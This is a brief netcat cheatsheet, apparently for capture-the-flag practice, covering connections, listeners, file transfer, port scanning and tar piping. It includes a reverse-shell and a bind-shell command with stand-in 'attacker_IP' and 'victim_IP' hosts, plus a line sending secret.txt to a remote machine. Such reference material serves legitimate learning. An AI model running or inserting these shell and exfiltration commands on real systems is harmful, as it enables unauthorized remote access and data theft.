Netcat (nc) Cheatsheet to help you with common use cases:
nc <host> <port>
- Example:
nc jupiter.challenges.picoctf.org 64287
- Connects to a remote server on the specified port.
nc -lvp <port>
- Example:
nc -lvp 4444
- Listens on port
4444
for incoming connections.-l
→ Listen mode-v
→ Verbose (detailed output)-p
→ Specify port
nc <host> <port> < file.txt
- Example:
nc 192.168.1.10 4444 < secret.txt
- Sends
secret.txt
to a remote machine listening on port4444
.
nc -lvp <port> > file.txt
- Example:
nc -lvp 4444 > received.txt
- Receives a file and saves it as
received.txt
.
nc -lvp 1234
nc <Machine1_IP> 1234
- Now, anything typed on either machine is sent to the other.
nc -zv <host> <port_range>
- Example:
nc -zv 192.168.1.1 1-1000
- Checks which ports are open on the target.
nc -lvp 4444
nc <attacker_IP> 4444 -e /bin/bash
- Grants shell access to the attacker.
nc -lvp 4444 -e /bin/bash
nc <victim_IP> 4444
nc -lvp 4444 | tar -xvf -
tar -cvf - /path/to/files | nc <receiver_IP> 4444
- Sends and extracts files over Netcat.